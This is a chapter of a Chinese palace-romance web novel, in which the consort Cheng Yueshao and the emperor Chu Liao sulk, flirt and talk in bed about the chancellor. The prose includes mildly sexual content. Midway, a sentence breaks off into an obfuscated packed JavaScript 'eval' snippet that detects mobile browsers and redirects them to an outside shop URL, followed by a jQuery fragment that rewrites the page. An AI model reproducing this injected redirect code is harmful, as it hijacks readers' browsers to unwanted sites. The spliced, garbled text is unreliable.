程月梢向来不喜欢下雨天。
一下雨,整个人便会像浸在看不见的雾里一样。
潮,且闷。
回到京城之后,她似乎更不喜欢下雨天了。
况且回了京城,她还常常见不到楚潦,不知他每日都做些什么,除了惯常的太极主殿的文武百官朝会,他似乎总是待在宸德殿看书,好不容易寻了机会去打扰他,却又总是像今日这般不顺利。
程月梢自己每日也被诸多不爱干的琐事纠缠着,哪怕一个简简单单的,后宫诸司晨会,谁谁谁告了假病缺席不来,都有人来问她如何定夺。这也寻她,那也寻她,这群宫人哪里能知道,她自己还有一堆困局亟待解决——过往的欺骗与谎言,还有宿谦玉的存在,都是她无法摆脱的麻烦。
程月梢想做点什么,又怕自己的九族凶多吉少。
尽管她对楚潦那态度,让她的九族看起来像是从路边捡来的。
可那不怪她,都怪楚潦不中用。
湿哒哒的下雨天会放大她心中的不痛快。
因为话本集子里说,天上下的雨,是老天爷为美人流的泪。
她程月梢就是个美人儿,老天爷定是知道,她现在有多可怜。满心顾影自怜的她独自用了晚膳,足足吃了半扇卤猪耳,等到天彻底黑下去,都没见楚潦的身影,索性又传了份果泥甜香酥饼做宵夜,就着梅子酒吃饱喝足,便洗漱就寝了。
程月梢一躺下,脑袋里的东西就被什么挤出去似的。
不一会儿便没了东西南北,黑白红绿。
微微蜷缩着,昏昏沉沉起来。
意识迷离之中,她眼前好像出现一个冒着滚滚热气的汤泉,汤泉中漂着一个盛满瓜果点心的荷叶盘,她心下饥饿,口中生津,砸吧了几下嘴巴,两条腿不受控制地往汤泉走去。
她踩着水滑下汤泉,刚才还能走动的两条腿忽然软绵绵起来,瓜果点心近在眼前,却怎么也吃不着,她只觉得浑身发热,无力地靠在汤泉石壁上,上上下下里里外外都是空落落的。
她哼唧两声,装满点心的荷叶盘倏然越飘越远。
程月梢伸手去抓,大腿一侧却莫名一阵肉疼。
她吃下痛感,在自己不满的呜咽中,倏然醒了过来。
醒来的瞬间,她下意识地去碰自己被掐疼的腿,伸出的胳膊却被熟悉的手掌死死抓住,压在了床板上。寝殿内只有最后几盏常燃的灯还亮着火光,微弱的光亮下,投在墙上影子窸窸窣窣。
“明……镜……”
程月梢的意识被身体的感觉切的很碎,无从思考。
她不敢去看,更不敢去听那声音。
汤泉之声犹在耳边。
正觉得有一股力拽着她飘时,掐着她腕儿的手掌猝不及防地松开了她,锦被掀了掀,方才还浅尝辄止认真沉浸的男人再不管她,循着黑背对着她躺下了,躺得僵硬,当即便不动分毫了。
程月梢的面颊后知后觉染上热意。
上不去下不来的感受,让她一阵恍惚,好久才缓和过来。
她动了动身子,小小地挪了挪,只这一简单的动作,就好像能带动他身上那股淡淡的古松香,缥缈却又格外好闻。在这殿内昏昏沉沉的环境中,程月梢伸手拍了拍他后肩:“明镜~”
“……”
他像是死了,就这么突然地死了。
背对着她不搭理。
程月梢就知道他故意作弄她,非把她弄醒。
若是他用的别的什么方式,她决计不会给他什么好脸色。
但想着方才的快意,她还是将身体贴了上去,一面叫他,一面撒娇似的推搡他:“明镜,你怎么啦?”
“枝枝。”
楚潦终于出声了。
程月梢顿时松了一口气。
“嗯?”
他静默几息,微微喑哑着嗓音,问她:“你喜欢下雨天吗?”
“什么下雨天?”
程月梢没懂他在说什么。
楚潦只追问:“你喜不喜欢?”
程月梢仍然不懂,不以为意地撇了撇嘴,贴得更近了些,想要闻到更多更清晰的淡香,同时嘴里无所谓地嘟囔:“不喜欢啊,感觉一下雨,周遭都潮潮的,人都浸在看不见的黏糊糊里面……”
“……”
楚潦不说话。
此时此刻,整个人已经很不好了。
他所钟爱的下雨天,对她来说,只是个讨人厌的天气。
白马寺的那场雨,对她来说什么都不是。
他的枝枝是个一直在向前赶路的女人,她在路上嬉笑玩闹,永远活力四射,开开心心,而他只是个亭子。
再好看的亭子,也只是个亭子。
她躲完了雨,说走就要走。
程月梢不明白他怎么回事,不轻不重地推了推他。
“你怎么了?”
听到她出声询问,楚潦一下子又好了。
什么亭子不亭子的,她在关心自己。
程月梢在关心楚潦啊。
“……”
但他还是闷声不吭,等着她继续关心自己。
程月梢此时已暗暗蹙眉。
心想他这窝囊皇帝是不是在外面受了气,如今故意作弄她呢,若是这般讨厌,再不说话,她就把他赶走,可别在床上睡了,滚别处去。
正自思索着,楚潦开口了。
“再问一遍。”
“什么?”
“再问一遍我怎么了。”
“……”
“你问不问?”
“好吧……那,明镜,你怎么啦?”
“我没事,我挺好的。”
“……”
程月梢一阵无语。
他什么意思哦?反正就是故意作弄她是不是?
她心有不爽,略一思索,索性贴紧他,探着手掌去摸他的胸膛,一寸一寸肌理地确认起来。敢作弄她,就别怪她以其人之道还治其人之身。
“明镜~”
“……”
楚潦知道她有意使坏,就像他一样。
压下躁动,默默拿开她的手。
但她很快又摸索上来。
“明镜~”
“……”
“明镜~”
“……”
拉扯几个来回,她变本加厉。
“明镜,你想要。”
“我不想。”
“可是它……”
“它不争气罢了,不必管它。”
“干嘛这么说它,你对它很坏……”
“不如枝枝对它坏。”
程月梢听他这么说,一时想笑,但纠缠许久,他都不肯转过身来,心下也有点打鼓,怕自己再作弄他,他真要生气,反正他如今都开口说话了,她也不该再与他计较。
她缓了缓情绪后,压低了声音问道:“明镜……你是不是还在怪我今日礼数不周……”
楚潦见她退让,当下便要回身,转念又想起刚才她说不喜欢下雨天的事情,于是强撑着不动弹,等她继续说点好听话来哄他。
她可是难得说这么多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277980|197224||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话哄骗他。
骗他好啊,反正她骗的也不是别人。
作为她的夫君,给她骗骗又何妨呢?
这世上,只骗他一个人就好了。
他现在只想,多听她说几句骗人的鬼话。
程月梢不知道他古古怪怪是在想什么,都说了那么正经的话,他还不怎么理会,难道真是因为白日的事情,他不高兴了?想到这里,她也不免心生几分紧张,耐心都多了些许:“明镜,我也是为你不平,故而有所失态,我明白你如今身份不同了,可我待你是一如往昔,我们这么多年感情下来,你还不知道我的脾气吗?我既是视你为君,更视你为夫,我哪里看得下去,有人对你不敬……”
楚潦抿了抿唇,乐在其中。
程月梢说着说着,自己都信了,身子贴得更紧了。
“明镜,我只是太在乎你了……”
说完这句老掉牙的话,她心念一动,忽然像是想到了什么,忙不迭补充问道:“丞相是不是又欺负你了?”
“……”
楚潦听到这句话,到底是没忍住,轻嗤出声。
“你这个又字用的就很有意思。”
程月梢一时无言:“……”
有点怕自己说中了。
楚潦忽然转过身来,不等她有所反应,欺身压上。
程月梢一瞬的视线躲闪,下颌已被他一把攥住。
他俯身看她,那双熟悉的眼眸在夜里格外漆黑,轻微摇曳的昏沉灯火下,依稀能瞧见他嘴角细微的弧度。
不知道是因为太黑,还是因为太安静。程月梢竟恍恍惚惚地在他这双对视过无数次的眼睛里,瞧见了陌生的凶性。然而这凶性转瞬即逝,清晰地刻在她眸子里,还是与她玩闹时的不正经,与永远都可以任她磋磨的柔和与包容。
楚潦见她双眼瞪圆,将这好看得没边的呆愣细细收到心里去,心满意足地亲了亲她的脸,而后扣上她的手掌,一点一点地将脸埋在了她怀里:“我没关系的,只要枝枝在我身边,肯一直陪着我,我怎么样都没关系的……”
程月梢心里暗暗白眼。
心想果然如此。
他这糯夫皇帝,被权臣欺负了,才在她这里耍脾气。
说什么没关系没关系的,尽瞎扯淡。
他要是彻底不中用了,她还陪什么陪。
她跑得比谁都快。
虽如是想,但程月梢还是拍拍他的脑袋,安抚道:“我当然会陪着你啦,我们是夫妻。”
“嗯,我知道。”
她想了想,带着几分试探道:“话说宿丞相与你说了些什么?他有没有跟你说什么奇怪的话?若是说了些什么不中听的,你千万不要当真,切莫中了他的挑唆离间之计……”
楚潦埋着脑袋,带着几分自责,说道:“丞相没说什么,他一片赤胆忠心,忠君爱国,是个好人,更是个好臣子,虽然言行有点无撞,但那肯定是为了我好,毕竟圣贤有云,忠言逆耳。”
程月梢一阵无奈:“傻瓜。”
宿谦玉这个狗贼,欺负这么一个心大的皇帝,作为文人士子,真该遗臭万年。换个中用的皇帝来,他早夷灭十族了。
楚潦自言自语起来:“是我太没用了而已……”
程月梢:“……”
他才知道吗?
她一面腹诽,一面酝酿着说辞安慰他。
还没来得及开口,便听他冷不丁突然问道:“我和宿丞相,哪个相貌更好看?”
“……”
程月梢一下子被他问住了。